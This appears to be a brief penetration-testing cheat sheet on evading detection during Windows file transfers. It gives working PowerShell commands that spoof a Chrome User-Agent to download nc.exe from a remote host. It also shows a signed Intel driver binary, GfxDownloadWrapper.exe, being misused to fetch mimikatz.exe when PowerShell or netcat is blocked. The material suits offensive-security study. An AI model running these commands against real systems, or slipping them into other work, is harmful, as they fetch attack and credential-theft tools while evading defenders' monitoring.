Evading Detection

• The User-Agent header can be used to detect where a file/request came from.

Evasion:

• List all the User-Agents available
  • [Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
• Set Chrome as an environment variable and send the request
  • $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
  • Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"

Use LOLBins to find "misplaced trust binaries" when PS, NC might be disabled.

• example LOLBIN is the Intel Graphics Driver for Windows 10 (GfxDownloadWrapper.exe)
• GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"